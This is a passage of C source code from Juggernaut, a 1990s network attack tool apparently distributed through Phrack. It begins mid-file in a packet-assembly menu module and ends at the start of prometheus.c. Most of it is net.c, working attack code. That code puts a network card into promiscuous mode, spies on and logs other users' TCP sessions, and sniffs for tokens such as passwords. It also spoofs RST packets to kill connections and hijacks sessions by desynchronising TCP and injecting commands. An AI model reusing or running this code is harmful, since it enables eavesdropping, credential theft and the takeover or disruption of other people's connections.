unsigned short source;

unsigned short destination;

unsigned long seqnum;

unsigned long acknum;

char *control;

unsigned short window;

char data[512];

{

printf("\t\t\t TCP Packet Assembly\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

if(!(packetready&0x01))printf("\t\t\t1. Source port\n"); else printf("\t\t\tSource port: %d\n",source); if(!(packetready&0x02))printf("\t\t\t2. Destination port\n"); else printf("\t\t\tDestination port: %d\n",destination); if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n"); else printf("\t\t\tSequence Number: %ld\n",seqnum); if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n"); else printf("\t\t\tAcknowledgement Number: %ld\n",acknum); if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n"); else printf("\t\t\tControl Flags: %s\n",control); if(!(packetready&0x20))printf("\t\t\t6. Window Size\n"); else printf("\t\t\tWindow Size: %d\n",window); if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t8. Return to previous menu\n"); printf("\t\t\t9. Return to main menu\n"); if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* UDP assembly options menu

*/

void mpktaudp(packetready,source,destination,data)

int packetready;

unsigned short source;

unsigned short destination;

char data[512];

{

printf("\t\t\t UDP Packet Assembly\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

if(!(packetready&0x01))printf("\t\t\t1. Source port\n"); else printf("\t\t\tSource port: %d\n",source); if(!(packetready&0x02))printf("\t\t\t2. Destination port\n"); else printf("\t\t\tDestination port: %d\n",destination); if(!(packetready&0x04))printf("\t\t\t3. Data payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t4. Return to previous menu\n"); printf("\t\t\t5. Return to main menu\n"); if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* ICMP assembly options menu

*/

void mpktaicmp(packetready,type,code,data)

int packetready;

unsigned short type;

unsigned short code;

char data[512];

{

printf("\t\t\t ICMP Packet Assembly\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

if(!(packetready&0x01))printf("\t\t\t1. Type\n");

else printf("\t\t\tType: %d\n",type);

if(!(packetready&0x02))printf("\t\t\t2. Code\n");

else printf("\t\t\tCode: %d\n",code);

if(!(packetready&0x04))printf("\t\t\t3. Data payload\n"); else printf("\t\t\tData payload: %s\n",data); printf("\t\t\t4. Return to previous menu\n"); printf("\t\t\t5. Return to main menu\n"); if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n"); printf("\n\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* IP assembly options menu

*/

void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype) int packetready;

char *tos;

char *fflags;

unsigned short fo;

unsigned short ttl;

char *saddr;

char *daddr;

int number;

char *packettype;

{

printf("\t\t\t IP Packet Assembly\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

if(!(packetready&0x01))printf("\t\t\t1. TOS\n");

else printf("\t\t\tTOS: %s\n",tos);

if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n"); else printf("\t\t\tFragment flags: %s\n",fflags); if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n"); else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff)); if(!(packetready&0x08))printf("\t\t\t4. TTL\n");

else printf("\t\t\tTTL: %d\n",ttl);

if(!(packetready&0x10))printf("\t\t\t5. Source Address\n"); else printf("\t\t\tSource Address: %s\n",saddr); if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n"); else printf("\t\t\tDestination Address: %s\n",daddr); if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n"); else printf("\t\t\tSending %d packet(s)\n",number); printf("\t\t\t8. Return to previous menu\n"); printf("\t\t\t9. Return to main menu\n"); if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype); printf("\n\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* Clear the Screen

*/

void mwipe(){

printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"); }

<‑‑>

<++> Juggernaut/NumberOneCrush/net.c

/*

*

* Juggernaut

* Version b1

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* net.c ‑ network/socket control code and abstract data types

*

* In the interest of time overhead vs. code size, I created several functions * that do much the same thing. You will notice the reset and jack code is * quite redundant. Life is rough like that. Deal with it. Also, there are * problems with freeing malloc'd memory.

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

#include <ctype.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <errno.h>

#include <arpa/inet.h>

#include <signal.h>

#include <string.h>

#include <setjmp.h>

#include <unistd.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>

#include <linux/if_arp.h>

#include <linux/if.h>

#include <linux/sockios.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <sys/ioctl.h>

#define DEVICE "eth0"

#define ETHHDR 14

#define PHDR 12

#define TCPHDR 20

#define IPHDR 20

#define BUFSIZE 512

#define MINIBUF10

#define RSTS10/* Number of RSTs to send when RSTing a connection */

#define JCKRST3/* You may wish to experiment with this value. The

smaller it is, your command have less time to

complete on the target. However, the ACK storm

will also be much shorter... */

#define SNIFLOG "./juggernaut.log.snif"

struct iphdr *iphp; /* Pointer into current packets IP header */

struct tcphdr *tcphp; /* Pointer into current packets TCP header */

struct ethhdr *ethhp; /* Pointer into current packets ethernet header */

/* Macro to align the pointers into the ethernet,

IP, and TCP headers. */

#define ALIGNNETPOINTERS(){\

ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\ iphp=(struct iphdr *)(((unsigned long)&epack.ip)‑2);\ tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)‑2);\

}

struct epack{ /* Generic Ethernet packet w/o data payload */

struct ethhdr eth; /* Ethernet Header */

struct iphdr ip; /* IP header */

struct tcphdr tcp; /* TCP header */

char payload[8192]; /* Data Payload */

}epack;

struct connectionInfo{

unsigned long saddr; /* Source IP */

unsigned long daddr; /* Destination IP */

unsigned short sport; /* Source TCP Port */

unsigned short dport; /* Destination TCP Port */

};

jmp_buf env; /* To preserve our environment */

extern int verbosity; /* Should we dump error messages? */

/*

* Creates a low level raw‑packet socket and puts the device into promiscuous * mode.

*/

int tap(device)

char *device;

{

int fd;

struct ifreq ifr; /* Link‑layer interface request structure */

/* Ethernet code for IP 0x800==ETH_P_IP */

if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]"); exit(1);

}

strcpy(ifr.ifr_name,device);

if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){ /* Get the device info */

if(verbosity)perror("(tap) Can't get device flags [fatal]"); close(fd);

exit(1);

}

ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */

if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */

if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]"); close(fd);

exit(1);

}

return(fd);

}

/*

* Gimme a raw‑IP socket. Use of IP_HDRINCL is automatic with 2.0.x * kernels. Not sure about 1.2.x

*/

int rawsock(){

int fd,val=1;

if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ if(verbosity)perror("\n(rawsock) Socket problems [fatal]"); exit(1);

}

#ifdef IP_HDRINCL

if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){ if(verbosity){

perror("Cannot set IP_HDRINCL socket option"); fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]"); getchar();

}

}

#endif

return(fd);

}

/*

* Hunter. At this point, only cares about connection information (infant * connections and tear‑downs). I should have it pass SEQ and ACK related * info to the relevant functions... This function will be forked to the * backround as a seperate process, and in future versions it will be * implemented as a seperate thread of execution.

*/

void chunt(){

void add(struct iphdr *,struct tcphdr *,struct ethhdr *); void del(struct iphdr *,struct tcphdr *);

extern int linksock;/* raw packet socket */

ALIGNNETPOINTERS();

/* No alarm timeout here. We block forever until packets zing by */

while(1)if(recv(linksock,&epack,sizeof(epack),0)){ if(iphp‑>protocol==IPPROTO_TCP&&(tcphp‑>syn&&!tcphp‑>ack))add(iphp,tcphp,ethhp); if(iphp‑>protocol==IPPROTO_TCP&&(tcphp‑>rst||tcphp‑>fin))del(iphp,tcphp); }

}

/*

* addc() wrapper. Checks to make sure we want to add this connection to * our list.... At this point, we'll take ftp control, ssh (well, we can * RST them) telnet, smtp, http, rlogin, and irc.

*/

void add(iphp,tcphp,ethhp)

struct iphdr *iphp;

struct tcphdr *tcphp;

struct ethhdr *ethhp; /* Future Use */

{

char *addc(struct iphdr *, struct tcphdr *);

char *msg;

#ifdef GREED if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); #ifdef NOHUSH

fprintf(stderr,"%c",7);

#endif

return;

#else

switch(ntohs(tcphp‑>dest)){

case 21:

case 22:

case 23:

case 25:

case 80:

case 513:

case 6667: if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); #ifdef NOHUSH

fprintf(stderr,"%c",7);

#endif

return;

default:

return;

}

#endif

}

/*

* delc() wrapper. Checks connection port number to see if we should even * bother passing to the delete function which will do a potentially expensive * linear search...

*/

void del(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

char *delc(struct iphdr *, struct tcphdr *);

char *msg;

#ifdef GREED if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); return;

#else

switch(ntohs(tcphp‑>dest)){

case 21:

case 22:

case 23:

case 25:

case 80:

case 513:

case 6667: if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg); return;

default:

return;

}

#endif

}

/*

* Spy on a connection. If the packet captured is from the target connection, * call dumpp(). If fp is valid, prepend header/append footer. */

void cspy(target,fp)

struct connectionInfo *target;

FILE *fp;

{

char *hostLookup(unsigned long);

void dumpp(char *,int,FILE *);

extern int sigsentry;

int tlinksock=tap(DEVICE);/* Spying tap. XXX‑ Really dumb way to do this... */

time_t tp;

ALIGNNETPOINTERS();

fprintf(stderr,"Spying on connection:\t %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup (target‑>daddr),ntohs(target‑>dport)); if(fp){

fprintf(fp,"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n: Juggernaut connection spy log header\n: %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup(target‑>daddr),ntohs(target‑>dport));

time(&tp);

fprintf(fp,": Log started:\t\t%s‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n",ctime(&tp));

}

/* NO alaram timeout here. SIGINT kills our spy session */

while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP)if(iphp‑>saddr==target‑>daddr&&tcphp‑>source==target‑>dport)dumpp(epack.payload‑2,htons(iphp‑>tot_len)‑sizeof(epack.ip)‑sizeof(epack.tcp),fp);

if(fp){

fprintf(fp,"\n‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n: Juggernaut connection spy log trailer\n: %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup(target‑>daddr),ntohs(target‑>dport)

);

time(&tp);

fprintf(fp,": Log ended:\t\t%s‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n",ctime(&tp));

}

close(tlinksock);

}

/*

* Dumps the payload. Dump to file if we have a valid FP.

*/

void dumpp(payload,length,fp)

char *payload;

int length;

FILE *fp;

{

register int tickytacky=0;

for(;tickytacky<length;tickytacky++){ fprintf(stderr,"%c",payload[tickytacky]); if(fp)fprintf(fp,"%c",payload[tickytacky]);

}

}

/*

* RST both ends of a connection. Listen for the client to send a packet so * we know where the seq/ack #s are and then spoof 10 RSTs to the client which * will then send a RST to the other end when it recieves the legitimate * response packet.

*/

void crst(target)

struct connectionInfo *target;

{

void nettimeout();

char *hostLookup(unsigned long);

unsigned short in_cksum(unsigned short *,int);

char *tempBuf=0;

extern int ripsock;

extern int netreadtimeout;

struct sockaddr_in sin;

struct tpack{ /* Generic TCP packet w/o payload */

struct iphdr ip;

struct tcphdr tcp;

}tpack;

struct psuedoHeader{

unsigned long saddr;

unsigned long daddr;

unsigned char null;

unsigned char prot;

unsigned short tlen;

}*ppheader;

static int moot=0;

int tlinksock=tap(DEVICE);

ALIGNNETPOINTERS();

sin.sin_family=AF_INET; /* Preload these values. All we are really

waiting for are the seq/ack #s */

sin.sin_port=target‑>dport; sin.sin_addr.s_addr=target‑>saddr;

bzero(&tpack,sizeof(tpack)); /* Zero out these structures so I dunot

have to assign 0's to the unused

areas... */

bzero(&ppheader,sizeof(ppheader));

tpack.tcp.source=target‑>dport; /* 16‑bit Source port number */

tpack.tcp.dest=target‑>sport; /* 16‑bit Destination port */

tpack.tcp.doff=5; /* Data offset */

tpack.tcp.ack=1; /* Acknowledgement field valid flag */

tpack.tcp.rst=1; /* Reset flag */

tpack.tcp.window=htons(242); /* 16‑bit Window size */

tpack.ip.version=4; /* 4‑bit Version */

tpack.ip.ihl=5; /* 4‑bit Header Length */

tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16‑bit Total length */

tpack.ip.ttl=64; /* 8‑bit Time To Live */

tpack.ip.protocol=IPPROTO_TCP; /* 8‑bit Protocol */

tpack.ip.saddr=target‑>daddr; /* 32‑bit Source Address */

tpack.ip.daddr=target‑>saddr; /* 32‑bit Destination Address */

tempBuf=(char *)malloc(PHDR+TCPHDR); /* Checksum stuff */

ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>saddr=tpack.ip.saddr; ppheader‑>daddr=tpack.ip.daddr; ppheader‑>prot=IPPROTO_TCP;

ppheader‑>null=0;

ppheader‑>tlen=htons(TCPHDR);

fprintf(stderr,"Reseting connection:\t %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup (target‑>daddr),ntohs(target‑>dport));

if(setjmp(env)){ /* Timeout */

if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n"); return;

}

signal(SIGALRM,nettimeout);

alarm(netreadtimeout); /* Wait 10 seconds for reply */

while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP&&iphp‑>saddr==target‑>saddr&&tcphp‑>source==target‑>sport){

for(;moot<RSTS;moot++){ /* Send RSTs, incrementing

seqs and acks as we go */

tpack.tcp.seq=tcphp‑>ack_seq+(htonl(moot)); tpack.tcp.ack_seq=tcphp‑>seq+(htonl(moot));

bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); }

alarm(0);

/*free(tempBuf); XXX */

fprintf(stderr,"Connection torn down.\n"); close(tlinksock);

break;

}

}

/*

* Sets up automated connection reseting. A source and possibly a * destination host are targeted for reseting. This function will kill any * connection attempts from the source (and possibly to a destination). */

void acrst(source,target)

unsigned long source, target;

{

char *hostLookup(unsigned long);

unsigned short in_cksum(unsigned short *,int);

void spasm(); /* Handles the user defined signal */

struct tpack{

struct iphdr ip;

struct tcphdr tcp;

}tpack;

struct psuedoHeader{

unsigned long saddr;

unsigned long daddr;

unsigned char null;

unsigned char prot;

unsigned short tlen;

}*ppheader;

struct sockaddr_in sin;

int moot=0;

extern int ripsock;

extern int acrstpid;

char *tempBuf=0;

int tlinksock=tap(DEVICE);

switch((acrstpid=fork())){ /* Drop a child to backround, return the

parent to continue */

case 0: /* Set the priority up a few notchs..

I get better results */

if(setpriority(PRIO_PROCESS,0,‑20)){ if(verbosity)perror("acrst module (setpriority)"); fprintf(stderr,"[cr]");

getchar();

}

signal(SIGUSR1,spasm); /* Keep track of the child and register

it with the cleanup signal handler */

signal(SIGINT,SIG_IGN); signal(SIGQUIT,SIG_IGN);

break;

default:

return;

case ‑1:

if(verbosity)perror("acrst module Internal forking error [fatal]"); exit(1);

}

ALIGNNETPOINTERS();

/* Preload these values. */

sin.sin_family=AF_INET;

bzero(&tpack,sizeof(tpack));

bzero(&ppheader,sizeof(ppheader));

tpack.tcp.doff=5;

tpack.tcp.ack=1;

tpack.tcp.rst=1;

tpack.tcp.window=htons(242);

tpack.ip.version=4;

tpack.ip.ihl=5;

tpack.ip.tot_len=htons(IPHDR+TCPHDR);

tpack.ip.ttl=64;

tpack.ip.protocol=IPPROTO_TCP;

tempBuf=(char *)malloc(PHDR+TCPHDR);

ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>null=0;

ppheader‑>prot=IPPROTO_TCP;

ppheader‑>tlen=htons(TCPHDR);

while(1){

if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP&&tcphp‑>syn&&iphp‑>saddr==source){ if(target)if(iphp‑>daddr!=target)continue;

sin.sin_port=tcphp‑>dest; sin.sin_addr.s_addr=iphp‑>saddr;

tpack.tcp.source=tcphp‑>dest; tpack.tcp.dest=tcphp‑>source;

for(moot=1;moot<RSTS+1;moot++){ /* Send RSTs, incrementing

acks as we go */

tpack.tcp.ack_seq=tcphp‑>seq+(htonl(moot));

tpack.tcp.check=0; tpack.ip.saddr=iphp‑>daddr; tpack.ip.daddr=iphp‑>saddr; tpack.ip.check=0;

ppheader‑>saddr=tpack.ip.saddr; ppheader‑>daddr=tpack.ip.daddr;

bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); fprintf(stderr,"%c‑%c*",0x08,0x08);

}

}

}

}

/*

* Simplex‑hijack. Really just inserts a command into the TCP stream. This * will totally desynch the connection however and cause two things to happen: * 1) an ACK storm of epic proportions (maybe not, see accompanying paper) and * 2) the target user will have her connection destroyed. To alleviate the * first problem, we simply reset the connection shortly after we hijack it. * The second problem is a burden with this kind of hijacking. */

void csimplexhijack(target,commandbuf)

struct connectionInfo *target;

char *commandbuf;

{

void nettimeout();

char *hostLookup(unsigned long);

unsigned short in_cksum(unsigned short *,int);

struct tpack{ /* Generic TCP packet */

struct iphdr ip;

struct tcphdr tcp;

char payload[BUFSIZE];

}tpack;

struct psuedoHeader{

unsigned long saddr;

unsigned long daddr;

unsigned char null;

unsigned char prot;

unsigned short tlen;

}*ppheader;

struct sockaddr_in sin;

extern int ripsock;

extern int netreadtimeout;

static int len;

char *tempBuf;

int tlinksock=tap(DEVICE);

ALIGNNETPOINTERS();

bzero(&tpack,sizeof(tpack));

len=strlen(commandbuf)+1; bcopy(commandbuf,tpack.payload,len‑‑); sin.sin_family=AF_INET;

sin.sin_port=target‑>sport; sin.sin_addr.s_addr=target‑>daddr;

tpack.tcp.source=target‑>sport; tpack.tcp.dest=target‑>dport;

tpack.tcp.doff=5;

tpack.tcp.ack=1;

tpack.tcp.psh=1;

tpack.tcp.window=htons(242);

tpack.ip.version=4;

tpack.ip.ihl=5;

tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);

tpack.ip.ttl=64;

tpack.ip.protocol=IPPROTO_TCP;

tpack.ip.saddr=target‑>saddr; tpack.ip.daddr=target‑>daddr;

tempBuf=(char *)malloc(PHDR+TCPHDR+len); /* Check me out y0 */

ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>saddr=tpack.ip.saddr; ppheader‑>daddr=tpack.ip.daddr;

ppheader‑>null=0;

ppheader‑>prot=IPPROTO_TCP; ppheader‑>tlen=htons(TCPHDR+len);

fprintf(stderr,"(simplex) Hijacking connection:\t %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup (target‑>daddr),ntohs(target‑>dport));

if(setjmp(env)){ /* Timeout */

if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n"); return;

}

signal(SIGALRM,nettimeout);

alarm(0);

alarm(netreadtimeout); /* Wait 10 seconds for reply */

while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP&&iphp‑>saddr==target‑>daddr&&tcphp‑>source==target‑>dport){ tpack.tcp.seq=tcphp‑>ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp‑>seq)+1);

bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin));

fprintf(stderr,"Command inserted, connection desynched.\n"); sleep(JCKRST); /* Don't reset the connection too quickly, or

our command may not complete */

crst(target);

close(tlinksock);

/* free(tempBuf); XXX */

break;

}

}

/*

* Hijack. Desynchs the server from the client. The resulting ACK storm * makes things very difficult.

*/

void chijack(target)

struct connectionInfo *target;

{

void nettimeout();

void seizure();

char *hostLookup(unsigned long);

unsigned short in_cksum(unsigned short *,int);

struct tpack{

struct iphdr ip;

struct tcphdr tcp;

char payload[2*BUFSIZE];

}tpack;

struct psuedoHeader{

unsigned long saddr;

unsigned long daddr;

unsigned char null;

unsigned char prot;

unsigned short tlen;

}*ppheader;

struct sockaddr_in sin;

char buf[10*MINIBUF];

char *tempBuf=0;

extern int ripsock;

extern int netreadtimeout;

extern int sigsentry;

static int len;

int tlinksock=tap(DEVICE);

ALIGNNETPOINTERS();

bzero(&tpack,sizeof(tpack));

sin.sin_family=AF_INET;

sin.sin_port=target‑>sport; sin.sin_addr.s_addr=target‑>daddr;

tpack.tcp.source=target‑>sport; tpack.tcp.dest=target‑>dport;

tpack.tcp.doff=5;

tpack.tcp.ack=1;

tpack.tcp.psh=1;

tpack.tcp.window=htons(1024);

tpack.ip.version=4;

tpack.ip.ihl=5;

tpack.ip.ttl=64;

tpack.ip.protocol=IPPROTO_TCP;

tpack.ip.saddr=target‑>saddr; tpack.ip.daddr=target‑>daddr;

tempBuf=(char *)malloc(PHDR+TCPHDR+len);

ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>saddr=tpack.ip.saddr; ppheader‑>daddr=tpack.ip.daddr;

ppheader‑>null=0;

ppheader‑>prot=IPPROTO_TCP;

signal(SIGINT,seizure);

fprintf(stderr,"Hijacking connection:\t %s [%d]\t‑‑>\t %s [%d]\n",hostLookup(target‑>saddr),ntohs(target‑>sport),hostLookup (target‑>daddr),ntohs(target‑>dport)); fprintf(stderr,"'ctrl‑c' when you are finished (this will RST the connection).\n"); fprintf(stderr,"juggernaut>");

fgets(buf,sizeof(buf),stdin);

len=strlen(buf)+1;

bcopy(buf,tpack.payload,len‑‑);

tpack.ip.tot_len=htons(IPHDR+TCPHDR+len); ppheader‑>tlen=htons(TCPHDR+len);

if(setjmp(env)){

if(verbosity)fprintf(stderr,"Quiet connection, try again later. [soft error, returning]\n"); return;

}

signal(SIGALRM,nettimeout);

alarm(0);

alarm(netreadtimeout);

/* Here we setup the initial hijack state. We

need to desynch the connection, and the next

packet that comes by will be the catalyst. */

while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP&&iphp‑>saddr==target‑>daddr&&tcphp‑>source==target‑>dport){ tpack.tcp.seq=tcphp‑>ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp‑>seq)+1);

bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin)); break;

}

alarm(0);

while(sigsentry){ /* Main hijack loop */

if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP&&iphp‑>saddr==target‑>daddr&&tcphp‑>source==target‑>dport){ if(!tcphp‑>psh)continue; /* If this is not data, ignore it */

dumpp(epack.payload‑2,htons(iphp‑>tot_len)‑sizeof(epack.ip)‑sizeof(epack.tcp),0);

bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf),stdin);

if(!buf[1])continue; /* No input data (CR) */

len=strlen(buf)+1;

bcopy(buf,tpack.payload,len‑‑);

tpack.tcp.psh=1;

tpack.tcp.check=0;

tpack.ip.check=0;

tpack.ip.tot_len=htons(IPHDR+TCPHDR+len);

tpack.tcp.seq=tcphp‑>ack_seq; tpack.tcp.ack_seq=htonl(ntohl(tcphp‑>seq)+1);

ppheader‑>tlen=htons(TCPHDR+len);

bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR+len); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+len);

sendto(ripsock,&tpack,IPHDR+TCPHDR+len,0,(struct sockaddr *)&sin,sizeof(sin)); }

}

crst(target);

/*free(tempBuf); XXX */

close(tlinksock);

}

/*

* Packet sniffer parses TCP packets for token. Logs that packet, along with * the next 'enticement` number of packets. Not really all that robust. */

void bloodhound(token,enticementfactor)

char *token;

int enticementfactor;

{

void parsep(char *,int,FILE *);

void shadow();

char *hostLookup(unsigned long);

FILE *fp=0;

time_t tp=0;

int length=0;

int grabflag=0; /* Time to grab some packets */

unsigned long targetsourceip=0;

unsigned short targetsourceport=0;

int tlinksock=tap(DEVICE);

if(!(fp=fopen(SNIFLOG,"a+"))){ /* Log to file */

if(verbosity){

fprintf(stderr,"Cannot open file for logging. [fatal]\n"); fprintf(stderr,"[cr]");

}

exit(0);

}

ALIGNNETPOINTERS();

fprintf(stderr,"\nDropping to background, sniffing for smarmy tidbits...\n");

shadow(); /* Dropped to the background */

fprintf(stderr,"\nSend a SIGKILL to %d when you are thorugh.\n",getpid());

fprintf(fp,"\n‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n[ Juggernaut bloodhound module log: token == '%s' ]\n",token);

time(&tp);

fprintf(fp,"[ Log started:\t\t%s‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n",ctime(&tp));

fflush(fp);

while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp‑>protocol==IPPROTO_TCP){ length=htons(iphp‑>tot_len)‑sizeof(epack.ip)‑sizeof(epack.tcp);

if((!grabflag)&&(strstr((epack.payload‑2),token))){ grabflag=enticementfactor; targetsourceip=iphp‑>saddr; targetsourceport=tcphp‑>source; fprintf(fp,"\n\t %s [%d]\t<‑‑>\t %s [%d]\n",hostLookup(iphp‑>saddr),ntohs(tcphp‑>source),hostLookup(iphp‑>daddr),ntohs(tcphp‑>dest)); parsep(epack.payload‑2,length,fp);

}

if(grabflag){ /* We have a session marked and are

logging it */

if(iphp‑>daddr==targetsourceip&&tcphp‑>dest==targetsourceport){ parsep(epack.payload‑2,length,fp); grabflag‑‑;

}

}

}

/* NOTREACHED */

}

/*

* Packet parser. Print the packet out...

*/

void parsep(payload,length,fp)

char *payload;

int length;

FILE *fp;

{

register int tickytacky=0;

for(tickytacky=0;tickytacky<length;tickytacky++){ if(payload[tickytacky]==0xd){ /* newline characater */

fprintf(fp,"\n");

continue;

} if(isprint(payload[tickytacky]))fprintf(fp,"%c",payload[tickytacky]); }

fflush(fp);

}

/*

* Handles network timeouts.

*/

void nettimeout(){

alarm(0);

longjmp(env,1);

}

<‑‑>

<++> Juggernaut/NumberOneCrush/prometheus.c

/*

*

* Juggernaut

* Version b2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* prometheus.c ‑ the packet assemby workshop module. Each of the main * packet assembly subfunctions will end up calling the ip assembler to build * the IP portion and send it (them) out.

*

* Too many dependencies in menu.c

*

* Shout out to Nirva for some suggestions/help. Nirva rules, BTW. I love * Nirva. You should too.

*

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <time.h>

#include <netinet/in.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

